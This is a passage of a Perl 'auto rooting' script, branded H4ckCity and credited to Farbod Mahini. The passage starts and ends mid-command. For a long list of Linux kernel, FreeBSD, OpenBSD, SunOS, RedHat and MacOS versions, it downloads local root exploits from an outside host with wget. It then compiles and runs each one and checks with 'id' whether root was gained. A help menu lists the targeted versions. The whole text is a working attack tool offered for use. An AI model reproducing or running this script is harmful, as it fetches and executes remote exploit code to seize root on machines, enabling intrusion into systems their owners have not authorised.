system("gcc 2.6.22.c -o 2.6.22"); system("chmod 777 2.6.22"); system("./2.6.22"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.22-4-686__2008"); system("chmod 777 2.6.22-4-686__2008"); system("./2.6.22-4-686__2008"); system("id"); system("wget http://farbod.gozarweb.com/local/binfmt_elf"); system("chmod 777 binfmt_elf"); system("./binfmt_elf"); system("id"); system("wget http://farbod.gozarweb.com/local/elfcd2"); system("chmod 777 elfcd2"); system("./elfcd2"); system("id"); system("wget http://farbod.gozarweb.com/local/k-rad3"); system("chmod 777 k-rad3"); system("./k-rad3"); system("id"); system("wget http://farbod.gozarweb.com/local/k-rad"); system("chmod 777 k-rad"); system("./k-rad"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.11.c"); system("gcc 2.6.11.c -o 2.6.11"); system("chmod 777 2.6.11"); system("./2.6.11"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.11-2007-priv8"); system("chmod 777 2.6.11-2007-priv8"); system("./2.6.11-2007-priv8"); system("id"); system("wget http://farbod.gozarweb.com/local/loginx"); system("chmod 777 loginx"); system("./loginx"); system("id"); system("wget http://farbod.gozarweb.com/local/2.4.36.92.6.27.5_2008"); system("chmod 777 2.4.36.92.6.27.5_2008"); system("./2.4.36.92.6.27.5_2008"); system("id"); system("wget http://farbod.gozarweb.com/local/2.6.18-8"); system("chmod 777 2.6.18-8"); system("./2.6.18-8"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "help") { print " ###########################################################\n"; print " --== H4ckCity Auto r00ting ==-- \n"; print " Usage perl $0 rooting all this option upload 2 file for r00t\n"; print " Usage perl $0 rooting all2 this option upload all files for r00t\n"; print " ###########################################################\n"; print " --== H4ckCity Manuell r00ting ==-- \n"; print " Usage perl $0 rooting osd OpenBSD 0day local root \n"; print " Usage perl $0 rooting bsd4.4 FreeBSD 4.4 \n"; print " Usage perl $0 rooting bsd4.6 FreeBSD 4.6 \n"; print " Usage perl $0 rooting bsd4.8 FreeBSD 4.8 \n"; print " Usage perl $0 rooting bsd5.3 FreeBSD 5.3 \n"; print " Usage perl $0 rooting bsd8.0 FreeBSD 8.0 \n"; print " Usage perl $0 rooting bsd bsd local \n"; print " Usage perl $0 rooting mac MacOsX \n"; print " Usage perl $0 rooting red7.0 RedHat7.0\n"; print " Usage perl $0 rooting red7.1 RedHat7.1 \n"; print " Usage perl $0 rooting red7.3 RedHat7.3 \n"; print " Usage perl $0 rooting red8.0 RedHat8.0 \n"; print " Usage perl $0 rooting sun5.7 SunOs5.7 \n"; print " Usage perl $0 rooting sun5.8 SunOs5.8 \n"; print " Usage perl $0 rooting sun5.9 SunOs5.9 \n"; print " Usage perl $0 rooting sun5.10 SunOs5.10 \n"; print " Usage perl $0 rooting 2.2.x Linux 2.2.x \n"; print " Usage perl $0 rooting 2.2.27 Linux 2.2.27 \n"; print " Usage perl $0 rooting 2.4.x Linux 2.4.x \n"; print " Usage perl $0 rooting 2.4.8 Linux 2.4.8 \n"; print " Usage perl $0 rooting 2.4.17 Linux 2.4.17 \n"; print " Usage perl $0 rooting 2.4.18 Linux 2.4.18 \n"; print " Usage perl $0 rooting 2.4.19 Linux 2.4.19 \n"; print " Usage perl $0 rooting 2.4.20 Linux 2.4.20 \n"; print " Usage perl $0 rooting 2.4.21 Linux 2.4.21 \n"; print " Usage perl $0 rooting 2.4.22 Linux 2.4.22 \n"; print " Usage perl $0 rooting 2.4.22-10 Linux 2.4.22-10 \n"; print " Usage perl $0 rooting 2.4.23 Linux 2.4.23 \n"; print " Usage perl $0 rooting 2.4.24 Linux 2.4.24 \n"; print " Usage perl $0 rooting 2.4.25 Linux 2.4.25 \n"; print " Usage perl $0 rooting 2.4.26 Linux 22.4.26 \n"; print " Usage perl $0 rooting 2.4.27 Linux 2.4.27 \n"; print " Usage perl $0 rooting 2.4.29 Linux 2.4.29 \n"; print " Usage perl $0 rooting 2.4.36.92.6.27.5 Linux 2.4.36.92.6.27.5\n"; print " Usage perl $0 rooting 2.6.x Linux 2.6.x \n"; print " Usage perl $0 rooting 2.6.10 Linux 2.6.10 \n"; print " Usage perl $0 rooting 2.6.11 Linux 2.6.11 \n"; print " Usage perl $0 rooting 2.6.12 Linux 2.6.12\n"; print " Usage perl $0 rooting 2.6.13 Linux 2.6.13 \n"; print " Usage perl $0 rooting 2.6.14 Linux 2.6.14 \n"; print " Usage perl $0 rooting 2.6.15 Linux 2.6.15 \n"; print " Usage perl $0 rooting 2.6.16 Linux 2.6.16 \n"; print " Usage perl $0 rooting 2.6.17 Linux 2.6.17 \n"; print " Usage perl $0 rooting 2.6.18 Linux 2.6.18 \n"; print " Usage perl $0 rooting 2.6.182 Linux 2.6.182 \n"; print " Usage perl $0 rooting 2.6.18-8 Linux 2.6.18-8 \n"; print " Usage perl $0 rooting 2.6.2 Linux 2.6.2 \n"; print " Usage perl $0 rooting 2.6.20 Linux 2.6.20 \n"; print " Usage perl $0 rooting 2.6.22 Linux 2.6.22 \n"; print " Usage perl $0 rooting 2.6.23 Linux 2.6.23 \n"; print " Usage perl $0 rooting 2.6.24 Linux 2.6.24\n"; print " Usage perl $0 rooting 2.6.26 Linux 2.6.26 \n"; print " Usage perl $0 rooting 2.6.31 Linux 2.6.31 \n"; print " Usage perl $0 rooting 2.6.31.5 Linux 2.6.31.5 \n"; print " Usage perl $0 rooting 2.6.4 Linux 2.6.4 \n"; print " Usage perl $0 rooting 2.6.5 Linux 2.6.5 \n"; print " Usage perl $0 rooting 2.6.7 Linux 2.6.7 \n"; print " Usage perl $0 rooting 2.6.8 Linux 2.6.8 \n"; print " Usage perl $0 rooting 2.6.9 Linux 2.6.9 \n"; print " Usage perl $0 rooting 2.6.9.2 Linux 2.6.9.2 \n"; print " Usage perl $0 rooting 2.6.9-34 Linux 2.6.9-34 \n"; print " Usage perl $0 rooting 2.6.9-55 Linux 2.6.9-55 \n"; print " ###########################################################\n"; die "\nPoWerEd By Farbod Mahini \n"; } if ($ARGV[1] =~ "osd") { system("wget http://farbod.gozarweb.com/local/OpenBSD-0day-Local-Root.c"); system("gcc OpenBSD-0day-Local-Root.c -o OpenBSD-0day-Local-Root"); system("chmod 777 OpenBSD-0day-Local-Root"); system("./OpenBSD-0day-Local-Root"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bsd4.6") { system("wget http://farbod.gozarweb.com/local/bsd"); system("chmod 777 bsd"); system("./bsd"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bsd4.4") { system("wget http://farbod.gozarweb.com/local/bsd"); system("chmod 777 bsd"); system("./bsd"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bsd4.8") { system("wget http://farbod.gozarweb.com/local/48local"); system("chmod 777 48local"); system("./48local"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bsd5.3") { system("wget http://farbod.gozarweb.com/local/exploit"); system("chmod 777 exploit"); system("./exploit"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/freedbs5.3"); system("chmod 777 freedbs5.3"); system("./freedbs5.3"); system("id"); system("wget http://farbod.gozarweb.com/local/FreeBSDmaster.passwd.c"); system("gcc FreeBSDmaster.passwd.c -o FreeBSDmaster.passwd"); system("chmod 777 FreeBSDmaster.passwd"); system("./FreeBSDmaster.passwd"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bsd8.0") { system("wget http://farbod.gozarweb.com/local/w00t.sh"); system("chmod 777 w00t.sh"); system("./w00t.sh"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "mac") { system("wget http://farbod.gozarweb.com/local/macosX"); system("chmod 777 macosX"); system("./macosX"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "bsd") { system("wget http://farbod.gozarweb.com/local/env"); system("chmod 777 env"); system("./env"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/w00t.so.1.0"); system("chmod 777 w00t.so.1.0"); system("./w00t.so.1.0"); system("id"); system("wget http://farbod.gozarweb.com/local/FreeBSDmaster.passwd.c"); system("gcc FreeBSDmaster.passwd.c -o FreeBSDmaster.passwd"); system("chmod 777 FreeBSDmaster.passwd"); system("./FreeBSDmaster.passwd"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "red7.0") { system("wget http://farbod.gozarweb.com/local/epcs2.c"); system("gcc epcs2.c -o epcs2"); system("chmod 777 epcs2"); system("./epcs2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/crontab.c"); system("gcc crontab.c -o crontab"); system("chmod 777 crontab"); system("./crontab"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "red7.1") { system("wget http://farbod.gozarweb.com/local/rh71sm8.c"); system("gcc rh71sm8.c -o rh71sm8"); system("chmod 777 rh71sm8"); system("./rh71sm8"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "red8.0") { system("wget http://farbod.gozarweb.com/local/0x82-Remote.tannehehe.xpl.c"); system("gcc 0x82-Remote.tannehehe.xpl.c -o 0x82-Remote.tannehehe.xpl"); system("chmod 777 0x82-Remote.tannehehe.xpl"); system("./0x82-Remote.tannehehe.xpl"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/efs_local"); system("chmod 777 efs_local"); system("./efs_local"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ifenslave"); system("chmod 777 ifenslave"); system("./ifenslave"); system("id");; die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "red7.3") { system("wget http://farbod.gozarweb.com/local/ohMy-another-efs"); system("chmod 777 ohMy-another-efs"); system("./ohMy-another-efs"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/nslconf"); system("chmod 777 nslconf"); system("./nslconf"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/alsaplayer-suid"); system("chmod 777 alsaplayer-suid"); system("./alsaplayer-suid"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/afd-expl"); system("chmod 777 afd-expl"); system("./afd-expl"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "sun5.7") { system("wget http://farbod.gozarweb.com/local/solaris27"); system("chmod 777 solaris27"); system("./solaris27"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "sun5.8") { system("wget http://farbod.gozarweb.com/local/final"); system("chmod 777 final"); system("./final"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "sun5.9") { system("wget http://farbod.gozarweb.com/local/sunos59"); system("chmod 777 sunos59"); system("./sunos59"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "sun5.10") { system("wget http://farbod.gozarweb.com/local/sunos510"); system("chmod 777 sunos510"); system("./sunos510"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.2.x") { system("wget http://farbod.gozarweb.com/local/ptrace24"); system("chmod 777 ptrace24"); system("./ptrace24"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.2.27") { system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/elfcd1.c"); system("gcc elfcd1.c -o elfcd1"); system("chmod 777 elfcd1"); system("./elfcd1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.18-8") { system("wget http://farbod.gozarweb.com/local/2.6.18-8"); system("chmod 777 2.6.18-8"); system("./2.6.18-8"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.36.92.6.27.5") { system("wget http://farbod.gozarweb.com/local/2.4.36.92.6.27.5_2008"); system("chmod 777 2.4.36.92.6.27.5_2008"); system("./2.4.36.92.6.27.5_2008"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.x") { system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/newlocal"); system("chmod 777 newlocal"); system("./newlocal"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/kmod2"); system("chmod 777 kmod2"); system("./kmod2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/elflbl"); system("chmod 777 elflbl"); system("./elflbl"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/pwned.c"); system("gcc pwned.c -o pwned"); system("chmod 777 pwned"); system("./pwned"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.29") { system("wget http://farbod.gozarweb.com/local/1.c"); system("gcc 1.c -o 1"); system("chmod 777 1"); system("./1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.26") { system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/Linux_kernel_mremap.c"); system("gcc Linux_kernel_mremap.c -o Linux_kernel_mremap"); system("chmod 777 Linux_kernel_mremap"); system("./Linux_kernel_mremap"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.27") { system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.25") { system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.24") { system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/Linux_kernel_mremap.c"); system("gcc Linux_kernel_mremap.c -o Linux_kernel_mremap"); system("chmod 777 Linux_kernel_mremap"); system("./Linux_kernel_mremap"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.23") { system("wget http://farbod.gozarweb.com/local/hatorihanzo.c"); system("gcc hatorihanzo.c -o hatorihanzo"); system("chmod 777 hatorihanzo"); system("./hatorihanzo"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/mremap_pte"); system("chmod 777 mremap_pte"); system("./mremap_pte"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.21") { system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace"); system("chmod 777 ptrace"); system("./ptrace"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk2"); system("chmod 777 brk2"); system("./brk2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk"); system("chmod 777 brk"); system("./brk"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2-4-21"); system("chmod 777 2-4-21"); system("./2-4-21"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.20") { system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace"); system("chmod 777 ptrace"); system("./ptrace"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk2"); system("chmod 777 brk2"); system("./brk2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk"); system("chmod 777 brk"); system("./brk"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/kmod"); system("chmod 777 kmod"); system("./kmod"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.19") { system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace"); system("chmod 777 ptrace"); system("./ptrace"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk2"); system("chmod 777 brk2"); system("./brk2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk"); system("chmod 777 brk"); system("./brk"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.18") { system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace"); system("chmod 777 ptrace"); system("./ptrace"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk2"); system("chmod 777 brk2"); system("./brk2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk"); system("chmod 777 brk"); system("./brk"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.17") { system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/kmod"); system("chmod 777 kmod"); system("./kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/newlocal"); system("chmod 777 newlocal"); system("./newlocal"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.x") { system("wget http://farbod.gozarweb.com/local/h0llyshit"); system("chmod 777 h0llyshit"); system("./h0llyshit"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/kmod2"); system("chmod 777 kmod2"); system("./kmod2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/elflbl"); system("chmod 777 elflbl"); system("./elflbl"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/cw7.3"); system("chmod 777 cw7.3"); system("./cw7.3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/root2"); system("chmod 777 root2"); system("./root2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/x2"); system("chmod 777 x2"); system("./x2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/x"); system("chmod 777 x"); system("./x"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/exp.sh"); system("chmod 777 exp.sh"); system("./exp.sh"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.x"); system("chmod 777 2.6.x"); system("./2.6.x"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.r1z.sh"); system("chmod 777 2.6.r1z.sh"); system("./2.6.r1z.sh"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.182") { system("wget http://farbod.gozarweb.com/local/2.6.182.c"); system("gcc 2.6.182.c -o 2.6.182"); system("chmod 777 2.6.182"); system("./2.6.182"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.26") { system("wget http://farbod.gozarweb.com/local/2.6.26.c"); system("gcc 2.6.26.c -o 2.6.26"); system("chmod 777 2.6.26"); system("./2.6.26"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.9") { system("wget http://farbod.gozarweb.com/local/2.4.8&2.6.9.c"); system("gcc 2.4.8&2.6.9.c -o 2.4.8&2.6.9"); system("chmod 777 2.4.8&2.6.9"); system("./2.4.8&2.6.9"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.9-55-2007-prv8"); system("chmod 777 2.6.9-55-2007-prv8"); system("./2.6.9-55-2007-prv8"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/06"); system("chmod 777 06"); system("./06"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/05"); system("chmod 777 05"); system("./05"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/04"); system("chmod 777 04"); system("./04"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.9-55-2008-prv8"); system("chmod 777 2.6.9-55-2008-prv8"); system("./2.6.9-55-2008-prv8"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.9"); system("chmod 777 2.6.9"); system("./2.6.9"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.9-55") { system("wget http://farbod.gozarweb.com/local/2.6.9-55-2008-prv8"); system("chmod 777 2.6.9-55-2008-prv8"); system("./2.6.9-55-2008-prv8"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.9-55-2007-prv8"); system("chmod 777 2.6.9-55-2007-prv8"); system("./2.6.9-55-2007-prv8"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.8") { system("wget http://farbod.gozarweb.com/local/2.4.8&2.6.9.c"); system("gcc 2.4.8&2.6.9.c -o 2.4.8&2.6.9"); system("chmod 777 2.4.8&2.6.9"); system("./2.4.8&2.6.9"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.9-34") { system("wget http://farbod.gozarweb.com/local/r00t"); system("chmod 777 r00t"); system("./r00t"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.8") { system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.7") { system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.5") { system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/hudo.c"); system("gcc hudo.c -o hudo"); system("chmod 777 hudo"); system("./hudo"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/05"); system("chmod 777 05"); system("./05"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ong_bak.c"); system("gcc ong_bak.c -o ong_bak"); system("chmod 777 ong_bak"); system("./ong_bak"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.4") { system("wget http://farbod.gozarweb.com/local/hudo.c"); system("gcc hudo.c -o hudo"); system("chmod 777 hudo"); system("./hudo"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.2") { system("wget http://farbod.gozarweb.com/local/myptrace"); system("chmod 777 myptrace"); system("./myptrace"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.17") { system("wget http://farbod.gozarweb.com/local/2.6.17"); system("chmod 777 2.6.17"); system("./2.6.17"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.17(2)"); system("chmod 777 2.6.17"); system("./2.6.17"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct1"); system("chmod 777 prct1"); system("./prct1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct2"); system("chmod 777 prct2"); system("./prct2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct3"); system("chmod 777 prct3"); system("./prct3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct4"); system("chmod 777 prct4"); system("./prct4"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct6"); system("chmod 777 prct6"); system("./prct6"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct5.sh"); system("chmod 777 prct5.sh"); system("./prct5.sh"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/root"); system("chmod 777 root"); system("./root"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.16") { system("wget http://farbod.gozarweb.com/local/raptor"); system("chmod 777 raptor"); system("./raptor"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct1"); system("chmod 777 prct1"); system("./prct1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct2"); system("chmod 777 prct2"); system("./prct2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct3"); system("chmod 777 prct3"); system("./prct3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct4"); system("chmod 777 prct4"); system("./prct4"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct6"); system("chmod 777 prct6"); system("./prct6"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.18") { system("wget http://farbod.gozarweb.com/local/2.6.18.c"); system("gcc 2.6.18.c -o 2.6.18"); system("chmod 777 2.6.18"); system("./2.6.18"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.18-164"); system("chmod 777 2.6.18-164"); system("./2.6.18-164"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.18"); system("chmod 777 2.6.18"); system("./2.6.18"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.18-2008"); system("chmod 777 2.6.18-2008"); system("./2.6.18-2008"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.31") { system("wget http://farbod.gozarweb.com/local/2.6.31-2010.c"); system("gcc 2.6.31-2010.c -o 2.6.31-2010"); system("chmod 777 2.6.31-2010"); system("./2.6.31-2010"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.31.5") { system("wget http://farbod.gozarweb.com/local/enlightenment"); system("chmod 777 enlightenment"); system("./enlightenment"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.20") { system("wget http://farbod.gozarweb.com/local/2.6.20"); system("chmod 777 2.6.20"); system("./2.6.20"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.23") { system("wget http://farbod.gozarweb.com/local/vmsplice.c"); system("gcc vmsplice.c -o vmsplice"); system("chmod 777 vmsplice"); system("./vmsplice"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.23_2008.c"); system("gcc 2.6.23_2008.c -o 2.6.23_2008"); system("chmod 777 2.6.23_2008"); system("./2.6.23_2008"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24"); system("chmod 777 2.6.23-2.6.24"); system("./2.6.23-2.6.24"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.23=2008"); system("chmod 777 2.6.23=2008"); system("./2.6.23=2008"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.24") { system("wget http://farbod.gozarweb.com/local/vmsplice.c"); system("gcc vmsplice.c -o vmsplice"); system("chmod 777 vmsplice"); system("./vmsplice"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24"); system("chmod 777 2.6.23-2.6.24"); system("./2.6.23-2.6.24"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.24=2008"); system("chmod 777 2.6.24=2008"); system("./2.6.24=2008"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.24"); system("chmod 777 2.6.24"); system("./2.6.24"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.22") { system("wget http://farbod.gozarweb.com/local/2.6.22.c"); system("gcc 2.6.22.c -o 2.6.22"); system("chmod 777 2.6.22"); system("./2.6.22"); system("id"); sleep(1); system("wget 